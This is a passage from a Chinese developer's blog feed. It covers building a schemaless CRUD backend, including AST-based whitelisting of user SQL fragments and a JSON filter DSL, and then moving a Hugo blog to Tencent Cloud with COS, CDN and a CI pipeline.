里呢?一开始我的想法是像上面做字段约束一样接 JavaScript Engine,在添加数据时跑一遍 JavaScript 表达式计算出生成列的值就行。但这存在一个问题:如果 JavaScript 表达式被修改了,那就得全表重新跑重新更新刷一遍数据,这是无法接受的。</p> <p>最后还是选择让用户编写 Postgres SQL 语句片段,用作创建视图时生成列的定义,就像前面视图的 SQL 定义那张图里的:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>md5(<span style="color:#ff7b72">lower</span>(sl_records.<span style="color:#ff7b72">data</span><span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">-&gt;&gt;</span><span style="color:#6e7681"> </span><span style="color:#a5d6ff">&#39;YXSQhESl&#39;</span>::text))<span style="color:#6e7681"> </span><span style="color:#ff7b72">AS</span><span style="color:#6e7681"> </span>email_md5,<span style="color:#6e7681"> </span></span></span></code></pre></div><p>但既然用户能直接编写原生 SQL,SQL 还会被拼接进来创建视图,那我这不直接 SQL 注入被注烂了!就算用黑名单来过滤字符串特殊字符与关键字,保不齐后面出来个我不知道的方法给绕了。这里我使用了 <a href="https://github.com/auxten/postgresql-parser">auxten/postgresql-parser</a> 这个库(Bytebase 也在用)来将用户输入的 SQL 语句解析成 AST,然后 Walk 遍历树上的每个节点,发现有 <code>UNION</code> <code>JOIN</code> 以及白名单外的函数调用就直接禁止提交。如果有人 bypass 了这个库的解析规则绕过了我的检验,那也就等同于他找到了 CockroachDB 的洞(这个 AST 解析库是从 CockroachDB 源码中拆出来的),那我直接拿去水个 CVE。😂</p> <p>在具体代码实现中,由于 postgresql-parser 这个库只能解析完整的 SQL 语句,而用户输入的是 <code>md5(lower(email))</code> 这样的 SQL 片段,我会在用户输入前拼一个 <code>SELECT </code> 再解析。而像 <code>email</code> 这种字段名,由于提供没有上下文,会被解析成 <code>*tree.UnresolvedName</code> 节点。我需要将这些 <code>*tree.UnresolvedName</code> 节点的<strong>值</strong>替换成 <code>sl_records.data -&gt;&gt; 'YXSQhESl'::text</code> 这样的 JSON 取值<strong>语句</strong>,直接修改节点的话出来的语句会是:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span>md5(<span style="color:#ff7b72">lower</span>(<span style="color:#a5d6ff">&#34;sl_records.data -&gt;&gt; &#39;YXSQhESl&#39;::text&#34;</span>))<span style="color:#6e7681"> </span></span></span></code></pre></div><p>它将这整一块用双引号包裹,会被 Postgres 一整个当做列名去解析。我也没能找到在 Walk 里修改节点属性的方法,最后只能用一个比较丑陋的 HACK:替换节点内容时前后加上一段分隔符,在最后生成的 SQL 语句中找到这个分隔符,将分隔符和它前面的 <code>&quot;</code> 引号去掉。<del>(不由得想起 PHP 反序列化字符逃逸&hellip;&hellip;)</del></p> <p>最终实现大致如下,目前函数白名单仅放开了极少数的哈希函数和字符串处理函数。我还写了不少单元测试来测这个函数的安全性,希望没洞吧&hellip;&hellip;</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> whiteFunctions = []<span style="color:#ff7b72">string</span>{ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;md5&#34;</span>, <span style="color:#a5d6ff">&#34;sha1&#34;</span>, <span style="color:#a5d6ff">&#34;sha256&#34;</span>, <span style="color:#a5d6ff">&#34;sha512&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;concat&#34;</span>, <span style="color:#a5d6ff">&#34;substring&#34;</span>, <span style="color:#a5d6ff">&#34;substr&#34;</span>, <span style="color:#a5d6ff">&#34;length&#34;</span>, <span style="color:#a5d6ff">&#34;lower&#34;</span>, <span style="color:#a5d6ff">&#34;upper&#34;</span>, </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">SterilizeExpression</span>(ctx context.Context, input <span style="color:#ff7b72">string</span>, allowFields <span style="color:#ff7b72">map</span>[<span style="color:#ff7b72">string</span>]<span style="color:#ff7b72">string</span>) (<span style="color:#ff7b72">string</span>, <span style="color:#ff7b72">error</span>) { </span></span><span style="display:flex;"><span> w <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&amp;</span>walk.AstWalker{ </span></span><span style="display:flex;"><span> Fn: <span style="color:#ff7b72">func</span>(ctx <span style="color:#ff7b72">interface</span>{}, node <span style="color:#ff7b72">interface</span>{}) (stop <span style="color:#ff7b72">bool</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">switch</span> v <span style="color:#ff7b72;font-weight:bold">:=</span> node.(<span style="color:#ff7b72">type</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">case</span> <span style="color:#ff7b72;font-weight:bold">*</span>tree.UnresolvedName: </span></span><span style="display:flex;"><span> inputFields = append(inputFields, v.<span style="color:#d2a8ff;font-weight:bold">String</span>()) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// HACK: We add separator to get the field name.</span> </span></span><span style="display:flex;"><span> v.Parts[<span style="color:#a5d6ff">0</span>] = <span style="color:#a5d6ff">&#34;!&lt;----!&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> allowFields[v.Parts[<span style="color:#a5d6ff">0</span>]] <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;!----&gt;!&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">false</span> </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Remove the separator.</span> </span></span><span style="display:flex;"><span> sql = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(sql, <span style="color:#a5d6ff">`&#34;!&lt;----!`</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span> sql = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(sql, <span style="color:#a5d6ff">`!----&gt;!&#34;`</span>, <span style="color:#a5d6ff">&#34;&#34;</span>) </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> sql, <span style="color:#79c0ff">nil</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h2 id="api-接口设计">API 接口设计</h2> <p>聊完了 Schemaless 特性的实现,我们再来看下自定义 API 接口的实现。这里直接上前端的操作页面,方便我来逐一介绍。</p> <p><img src="https://github.red/images/2024/07/update_api_example.png" alt=""></p> <p>参考之前用过的 Pocketbase,我将接口分为 <code>LIST</code> <code>VIEW</code> <code>CREATE</code> <code>UPDATE</code> <code>DELETE</code> 五种类型。注意这与 HTTP 请求动词或数据库 DDL 操作并无关系,是偏业务上的定义。<code>LIST</code> 返回多条数据、<code>VIEW</code> 查询单条数据、<code>CREATE</code> 添加数据、<code>UPDATE</code> 修改数据、<code>DELETE</code> 删除数据。</p> <p>就像我们写后端需要定义路由一样,每个 API 接口会有它请求方法和路径。以及会定义每个接口它从 GET Query 和 POST Body 处接收的字段。这些字段除了要有英文的参数名外,还需要有给人看的标签名,用于展示在数据校验的报错信息里。</p> <p>然后我们会选择一张 Schemaless 数据表作为数据源(记得在 Dreamweaver 里叫“记录集”),把传入参数与数据表中的字段做映射,这样就完成了对数据的操作流程。而就整个请求而言,在请求开始前我们可能会想做一层限流或者验证码,请求结束后需要发送通知邮件或触发 WebHook,因此还需要支持配置路由中间件。</p> <p>这里有两个值得拿来讨论的部分:数据源的筛选规则与前端拖拽配置路由中间件。</p> <h2 id="filter-dsl">Filter DSL</h2> <p>我们的接口经常会有传入 <code>?id=1</code> 来筛选指定一条数据的需求,确切的说是在 <code>LIST</code> <code>VIEW </code> <code>UPDATE</code> <code>DELETE</code> 四种类型下都会遇到。Schemaless 表的增删改查在代码上最终都是用 GORM 来构造 SQL 并执行的,“筛选”对应查询中的 <code>WHERE</code> ,对应 GORM 中的 <code>Where</code> 方法。用户在前端编辑好筛选条件后,需要能“翻译”成 GORM 的 Where 查询条件(一个 <code>clause.Expression</code> 类型的变量)。</p> <p>我在这里设计了一种使用 JSON 格式来表示 Where 查询条件的方法。一个查询条件分为两种类型,一种是单操作符,仅接收一个或零个参数,如字面量 <code>true</code>、「非」操作 <code>NOT xxxx</code> ;另一种是常见的双操作符的,如「与」操作 <code>xxx AND xxx</code>、<code>xxx LIKE xxx</code>,它们接收两个参数。</p> <p>我们定义一个 <code>Operator</code> 结构体,它记录了当前 WHERE 查询的操作类型 <code>Type</code>、单操作符的参数 <code>Value</code> 、双操作符的左值 <code>Left</code> 和右值 <code>Right</code>。注意左值和右值又可以是一个查询条件,构造 WHERE 条件的时候需要递归解析下去。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">type</span> Operator <span style="color:#ff7b72">struct</span> { </span></span><span style="display:flex;"><span> Type OperatorType <span style="color:#a5d6ff">`json:&#34;t&#34;`</span> </span></span><span style="display:flex;"><span> Value json.RawMessage <span style="color:#a5d6ff">`json:&#34;v,omitempty&#34;`</span> </span></span><span style="display:flex;"><span> Left <span style="color:#ff7b72;font-weight:bold">*</span>Operator <span style="color:#a5d6ff">`json:&#34;l,omitempty&#34;`</span> </span></span><span style="display:flex;"><span> Right <span style="color:#ff7b72;font-weight:bold">*</span>Operator <span style="color:#a5d6ff">`json:&#34;r,omitempty&#34;`</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>对应的操作符有以下这些,你可以看到上方的双操作符都是对应着 SQL 语句中的操作,下面单操作符中有两个特殊的操作 <code>FIELD</code> 和 <code>LITERAL</code> 。其中 <code>FIELD</code> 会被解析为 Schemaless 表中的字段,而 <code>LITERAL</code> 的内容将被放到 JavaScript Engine 中运行,请求的 Query 和 Body 会被解析后注入到 JavaScript Runtime 中。你可以通过一个值为 <code>$request.query.id</code> 的 <code>LITERAL</code> 操作拿到 <code>id</code> 这个 Query 参数的值。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">const</span> ( </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Binary operators</span> </span></span><span style="display:flex;"><span> OperatorTypeAnd OperatorType = <span style="color:#a5d6ff">&#34;AND&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeOr OperatorType = <span style="color:#a5d6ff">&#34;OR&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeNotEqual OperatorType = <span style="color:#a5d6ff">&#34;&lt;&gt;&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeEqual OperatorType = <span style="color:#a5d6ff">&#34;=&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeGreater OperatorType = <span style="color:#a5d6ff">&#34;&gt;&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLess OperatorType = <span style="color:#a5d6ff">&#34;&lt;&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeGreaterEqual OperatorType = <span style="color:#a5d6ff">&#34;&gt;=&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLessEqual OperatorType = <span style="color:#a5d6ff">&#34;&lt;=&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLike OperatorType = <span style="color:#a5d6ff">&#34;LIKE&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeIn OperatorType = <span style="color:#a5d6ff">&#34;IN&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Unary operators</span> </span></span><span style="display:flex;"><span> OperatorTypeNot OperatorType = <span style="color:#a5d6ff">&#34;NOT&#34;</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> OperatorTypeField OperatorType = <span style="color:#a5d6ff">&#34;FIELD&#34;</span> </span></span><span style="display:flex;"><span> OperatorTypeLiteral OperatorType = <span style="color:#a5d6ff">&#34;LITERAL&#34;</span> </span></span><span style="display:flex;"><span>) </span></span></code></pre></div><p>形如上面前端图中的那段 Filter:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{ </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;l&#34;</span>: { </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;t&#34;</span>: <span style="color:#a5d6ff">&#34;FIELD&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;v&#34;</span>: <span style="color:#a5d6ff">&#34;raw&#34;</span> </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;r&#34;</span>: { </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;t&#34;</span>: <span style="color:#a5d6ff">&#34;LITERAL&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;v&#34;</span>: <span style="color:#a5d6ff">&#34;$request.query.raw&#34;</span> </span></span><span style="display:flex;"><span> }, </span></span><span style="display:flex;"><span> <span style="color:#7ee787">&#34;t&#34;</span>: <span style="color:#a5d6ff">&#34;=&#34;</span> </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>我们从最外层开始解析,就是将左值和右值做 <code>=</code> 操作,左值是数据表的 <code>raw</code> 字段,右值是 <code>$request.query.raw</code> 即 Query 参数 <code>raw</code>,所以上述这么一长串到最后的 Go 代码里形如:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>query.<span style="color:#d2a8ff;font-weight:bold">Where</span>(<span style="color:#a5d6ff">&#34;raw = ?&#34;</span>, ctx.Query[<span style="color:#a5d6ff">&#34;raw&#34;</span>]) </span></span></code></pre></div><p>十分优雅,又十分安全。只是目前前端这个 Filter 还是给你个文本框自己填 Filter JSON,后续会做成纯图形化点点点的组件。(因为评估了下不太好写,所以先咕着🕊)</p> <h2 id="前端拖拽路由中间件">前端拖拽路由中间件</h2> <p>路由的中间件,我一开始就想把常用的功能封装成模块,然后前端直接拖拽着使用。其中对数据操作的主逻辑为 <code>main</code> 中间件,这个不可删除,其它的可以自由编排。</p> <p>后端的实现很简单,相信看过任意 Go Web 框架源码的小伙伴都知道,又是些被说烂了的“洋葱模型”之类的东西。说穿了就是对整个中间件的 Slice <code>for</code> 遍历一下,判断发现其中的某个中间件返回响应(<code>ctx.ResponseWriter().Written()</code> 为 <code>true</code> ),就直接整个返回了,这里就不贴代码水字数了。</p> <p>前端我使用了 <a href="https://github.com/gilnd/vue3-smooth-dnd">vue3-smooth-dnd</a> 这个库,我对比了 Vue 多个拖拽库,貌似只有这一家的动画最为丝滑,并且还带自动吸附。最后实现的效果我也是十分满意:</p> <p><img src="https://github.red/images/2024/07/drag-middlewares.gif" alt=""></p> <p>这个中间件模块的节点是我自己画的,背景设置为灰色, 然后后面放一个细长的 <code>div</code> 作为流程的直线。鼠标放在中间件节点上时会有一个 popup 配置中间件的具体参数。这里是直接用的 TDesign 的 Popup 弹出层组件,里面再放一个 Card 卡片组件把弹出层空间撑开即可。</p> <h2 id="最后说几句">最后说几句</h2> <p>目前 Sayrud 已经初步开发完并部署到了线上,它已经完美支持了我想要一个静态博客评论后端的需求,后面只需要接上我写得前端就可以用了!(目前我开发的博客评论组件还没上,你现在看到的还是又丑又难用的 Waline)</p> <p>你可能也注意到了编辑接口前端有一个「响应格式」的 Textarea,这块空着是因为我还没有找到一个能够简洁定义 JSON 数据结构的方式。所以目前接口的返回结构也是固定写死的,这块如果你有好的想法,欢迎告诉我。</p> <p>这个项目的开发差不多花了一个月的时间,我平时下班后如果有空就会稍微写点。(注意是下班哦,我上班可是兢兢业业干满 8 小时+,恨不得住在鹅厂)由于开发时间不连贯,再加上有时回到家里比较困脑子不清醒,经常会出现后一天否定前一天的设计的情况。最后磕磕绊绊总算是完成了!由于是纯属为满足自己的需求,再加上我对它后端字段的校验还没统一梳理测试过,我目前并不会把这个站向公众开放。而像这种二开一下就能拿去恰烂钱的东西,我当然也更不会开源。</p> <p>总的来说,Sayrud 也算是圆了自己当年 18 岁时的梦,将自己当时想得东西给做出来了。你可能注意到这个项目的名字也颇耐人寻味,<code>Say - RUD</code> 是 <code>CRUD</code> 的谐音,这其实也代表着我对这个项目未来的规划。嘻嘻😝</p>记录我在腾讯云上部署一个简单静态网站的艰辛https://github.red/migrate-blog-to-tencent-cloud/Mon, 29 Apr 2024 17:44:04 +0800https://github.red/migrate-blog-to-tencent-cloud/<blockquote> <p>文章封面使用 DALL·E 3 生成</p></blockquote> <p>从三月底开始一直比较忙,最近一切尘埃落定,自己在家也休息了几天,这才能做点自己的事情。</p> <p>由于一些原因 <span class="heimu" onclick="()=>{}">(是的,我要入职腾讯了)</span>,我准备将之前部署在 Cloudflare Pages 上的博客,也就是你现在看到的这个站点,迁移到国内腾讯云上。本以为是很简单的一个操作,完全没有必要大费周章地专门写一篇文章来记录,但现实是我在腾讯云上来来回回试了好几个产品,最终才勉强将这整套的持续集成方案给搭起来。</p> <p>我以前一直是阿里云的忠实用户。但我对阿里云是又爱又恨,没少骂过阿里云残缺的产品功能和听不懂人话的弱智客服。甚至以前在 EFC 上班的时候,路过英国中心楼下想到阿里云就气不打一处来。但即使是这样,阿里云还是全中国排名第一的云,这说明什么?说明其他家的云更是草台班子!</p> <p>说回腾讯云,我大一的时候,曾在腾讯云上开过学生机,后面毕业了优惠没了也就销毁了。腾讯云给我的第一感觉是他的 UI 做得很舒服,操作反馈颇有点 Azure 的感觉。但除开 UI 之外,产品的功能设计还有很大的提升空间。</p> <p>我感觉国内做云的,都是先拿类 OpenStack 做一套管控机房物理资源的系统,然后开始卖 ECS 这样的云主机,卖了一阵子后觉得我可以在一台 ECS 上装点数据库软件、监控软件、消息队列中间件等东西,然后单独拆成如 RDS 这样的服务来卖。卖了一阵子后,发现又可以把好多台 ECS 合起来卖 Kubernetes 集群托管,Kubernetes 托管卖了之后又发现可以在上面二开跑点容器卖 Serverless 服务&hellip;&hellip;</p> <p>就这样在之前的产品的能力上糊一层然后演化成新的产品。</p> <p>我不好评价这样的做法是对还是错。我认为复用已有能力做新产品前,对于新产品的定位以及将具备的核心功能,必须要想清楚。倘若底层的功能过于局限,或者必要配置项比较“狭窄”,则应该考虑另起炉灶而不是在上面糊一层兼容的 Shim。</p> <h2 id="web-应用托管-webify">Web 应用托管 Webify</h2> <p>我一开始是无脑选择腾讯云的 <a href="https://cloud.tencent.com/product/webify">Webify</a> 来部署我的静态页面。从名字就可以看出它是借鉴的 Netlify,产品形态上跟 Netlify、Vercel、Cloudflare Pages 等页面托管产品差不多。</p> <p>但问题就出在——腾讯云没有将 Webify 作为的一个单独的产品进行研发,它是属于腾讯云 Cloudbase 云开发产品下的一个子功能!这个 Cloudbase 是啥?是一个类似于 LeanCloud 或者 Heroku 一样的东西,用户在上面托管 Serverless 应用,同时使用 Cloudbase 提供的存储、数据库、云函数等功能。</p> <p>Webify 作为 Cloudbase 产品的一个子功能,复用了 Cloudbase 部署应用时的 CI/CD 工作流。对于 Cloudbase 而言这个 Webify 实例是一个按量计费的 <code>WebifyPackage</code> ”环境“,在控制台上就莫名其妙地将 Cloudbase 的“环境“这个概念集成进了 Webify 产品中,但是这个“环境”是系统创建的,你控制台点进去还会报错说无权限!</p> <p>在产品计费上,Webify 有自己的一套按月付费的包,包含 CDN 流量、静态存储容量等内容。但这些用量又和底层的 Cloudbase 的用量藕断丝连。以至于我发工单问客服 CDN 流量用完了是怎么计费,他先是说流量用完后直接回原,跟 CDN 服务无关,一会又给我发 CDN 的计费文档,我指出他说得前后矛盾之后,过了一会直接电话打过来跟我解释才讲明白。(我发现现在阿里云和腾讯云的客服水平都变差了,动不动就一个电话过来解释,为啥不能线上消息或者文档说明白?)</p> <p><img src="https://github.red/images/2024/04/tencent-cloud-workorder-01.png" alt="tencent-cloud-workorder"></p> <p>但以上种种也都只是控制台操作上有些不合理,让我来试下实际产品怎么样。</p> <p>首先是 Weblify 不支持 Hugo 站点的自动构建,不像 Cloudflare Pages 或者 Vercel 那样,选择好仓库后能自动推断出技术栈,并补全构建命令。Weblify 只支持常见的 JavaScript 框架编写的项目。</p> <p>解决的办法也不难,我稍微拐个弯,在 GitHub 上建一个仓库,存放构建好的 Hugo 站点文件即可。只需在原 Hugo 项目的 GitHub Actions 流水线中加条 Hugo 构建并推送到仓库即可。</p> <p>在 Weblify 上配置 GitHub OAuth 授权后,选择存放构建后静态资源的仓库,直接静态托管该仓库的内容。然后 Webify 构建又报错了&hellip;&hellip;</p> <p><img src="https://github.red/images/2024/04/cloudbase-ci-error.png" alt="cloudbase-ci-error"></p> <p>根据构建日志,我发现这垃圾玩意是把 <code>git pull</code> 下来的仓库内容,打成 ZIP 压缩包,再用 Cloudbase CLI 推送上去,然后这 Cloudbase CLI 不支持推送超过 100MB 的文件!发工单问客服,答曰:</p> <blockquote> <p>Webify目前限制构建产物的体积在100MB内,建议客户减少部署包的体积。 图片、音视频等大体积的资源,可以使用CLI工具手动上传到环境内的某个固定目录。</p></blockquote> <p>哈???我站点超过 100MB 还不能自动构建还得手动上传???本来用 Weblify 就是图个方便,最后还要我自己上传?</p> <p>没办法,我打算把 CLI 手动上传的步骤放到 GitHub Actions 的工作流里,即 Hugo 构建完后直接上传至 Weblify。搞了半天成功了,结果 Webify 访问网页直接显示 <code>NO ROUTE</code> 报错,且在控制台上也完全没有找到默认主页、404 页面的配置项。我想就算我解决了 <code>NO ROUTE</code> 的问题,后面默认主页和 404 页面配置不了也还是残废,索性直接申请退款,放弃!</p> <h2 id="回归-cos--cdn">回归 COS + CDN</h2> <p>那只能回到传统的静态网站部署方案:将静态文件上传至 COS(腾讯云的对象存储),然后前面套个 CDN。</p> <p>继续改 GitHub Actions 流水线,将构建好的产物上传至 COS Bucket。然后我发现官方提供的 <a href="https://github.com/TencentCloud/cos-action">COS Action</a> 就是个 Bug 百出的垃圾!这里我要实名 diss 这个仓库的原作者 <a href="https://github.com/mingshun">mingshun</a> 我不知道你是不是鹅厂的,但我知道你肯定没认真测试过你写的代码!</p> <p>例如以下代码 <a href="https://github.com/TencentCloud/cos-action/blob/master/index.js#L110C5-L110C43">TencentCloud/cos-action@index.js#L110</a>:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>} <span style="color:#ff7b72">while</span> (data.IsTruncated <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">&#39;true&#39;</span>); </span></span></code></pre></div><p>这个 <code>IsTruncated</code> 传进来只能是 Boolean 类型的 <code>true</code> 或者 <code>false</code>,你拿他跟一个字符串类型的<code>'true'</code> 强比较,这里恒为 <code>false</code>,导致这个 <code>while</code> 循环永远也跳不出来,一直卡着。我睡一觉醒来后发现我的 Workflow 跑了六个小时,然后被 GitHub 因为超时干掉了。</p> <p>除了上面的这位原作者,还有 <a href="https://github.com/ShirasawaSama">Shirasawa</a> 这位,因为我有朋友也关注了这位老哥,因此我就不喷了。我只能说老哥你多看下 COS SDK 的源码吧,明明就有 <code>accelerate</code> 这个加速域名参数的,你非得自己实现个:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>Domain<span style="color:#ff7b72;font-weight:bold">:</span> core.getInput(<span style="color:#a5d6ff">&#39;accelerate&#39;</span>) <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">&#39;true&#39;</span> <span style="color:#ff7b72;font-weight:bold">?</span> <span style="color:#a5d6ff">&#39;{Bucket}.cos.accelerate.myqcloud.com&#39;</span> <span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#79c0ff">undefined</span>, </span></span></code></pre></div><p>搞得后面不开<code>accelerate</code> 那就是直接 Domain 为 <code>undefined</code> 然后报错。</p> <p>没办法,鉴于官方的 Actions 质量如此之差,我索性 Fork 改了个自己用:<a href="https://github.com/wuhan005/tencent-cos-action/">wuhan005/tencent-cos-action</a>。然后我惊讶的发现,从 GitHub Actions 的美国节点,即使走 accelerate 加速域名上传文件到位于上海的 COS Bucket,也是 1-2 秒上传一个文件,我每次部署都要上传 1000+ 个文件,直接大半个小时过去了,这个部署上传的时间是我无法接受的。</p> <h3 id="coding">CODING</h3> <p>那我得想办法让 Hugo 在境内的节点进行构建,然后从境内传到 COS Bucket 中。这次,我盯上了腾讯云自己搞的代码托管平台 CODING,本质上就是个啥都有的缝合怪。</p> <p>好在他可以添加外部的 GitHub 仓库,并通过 GitHub OAuth 授权后,在仓库中安装 CODING 的 GitHub App,配置 WebHook。GitHub 仓库有新的推送后,触发 CODING 的流水线进行构建。经过数次调试后,最终可用的 CODING 流水线文件内容如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>pipeline { </span></span><span style="display:flex;"><span> agent any </span></span><span style="display:flex;"><span> stages { </span></span><span style="display:flex;"><span> stage(&#39;检出&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> checkout([$class: &#39;GitSCM&#39;, </span></span><span style="display:flex;"><span> branches: [[name: GIT_BUILD_REF]], </span></span><span style="display:flex;"><span> userRemoteConfigs: [[ </span></span><span style="display:flex;"><span> url: GIT_REPO_URL, </span></span><span style="display:flex;"><span> credentialsId: CREDENTIALS_ID </span></span><span style="display:flex;"><span> ]]]) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#39;安装 Hugo&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#39;apt install snapd&#39; </span></span><span style="display:flex;"><span> sh &#39;snap install hugo dart-sass&#39; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#39;构建&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#39;hugo --minify&#39; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#39;上传到 COS Bucket&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#34;coscmd config -a ${COS_SECRET_ID} -s ${COS_SECRET_KEY} -b ${COS_BUCKET_NAME} -r ${COS_BUCKET_REGION}&#34; </span></span><span style="display:flex;"><span> sh &#34;coscmd upload -rfs --delete public/ /&#34; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#34;刷新 CDN 缓存&#34;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#34;pip install --upgrade tencentcloud-sdk-python&#34; </span></span><span style="display:flex;"><span> sh &#34;python ./dev/refresh-tencent-cdn.py -i ${COS_SECRET_ID} -k ${COS_SECRET_KEY}&#34; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>我在 Hugo 仓库中加了个刷新腾讯云 CDN 缓存的 Python 脚本,上传成功后再执行这个脚本刷新 CDN 缓存。现在完整构建并部署一次的时间大约在 3-4 分钟。</p> <p><img src="https://github.red/images/2024/04/coding-ci.png" alt="coding-ci"></p> <p>勉强能接受吧,要知道在 Cloudflare Pages 上可是 1-2 分钟就能完成,并且还不需要我自己做这个多的配置!!</p> <h2 id="说回-cdn-防盗刷">说回 CDN 防盗刷</h2> <p>费劲周折,我总算是成功的将博客部署到了腾讯云上。</p> <p>之前迁移至 Cloudflare 的原因是我七牛云和阿里云都因为 CDN 被盗刷,导致一夜之间账单欠了 ¥600+。我也不知道互联网上为什么会有这么多干着这些损人不利己的蠢事的人。</p> <p>因此在迁移之前,我十分谨慎地调研过腾讯云的 CDN 防盗刷功能,最后的结论是发现他们做得居然还不错,可以说是已经相当尽力了。在 COS 对象存储的「安全管理」菜单下,居然有一个「盗刷风险监测」功能!从各个维度评估了是否有盗刷风险,真的让人眼前一亮!建议阿里云赶紧跟进下。</p> <p><img src="https://github.red/images/2024/04/tencent-cos-security-detection.png" alt="tencent-cos-security-detection"></p> <p>我总结了下,具体是这几个方面的配置,以及我自己的配置值。</p> <table> <thead> <tr> <th style="text-align: center">所属产品</th> <th style="text-align: center">配置项</th> <th style="text-align: 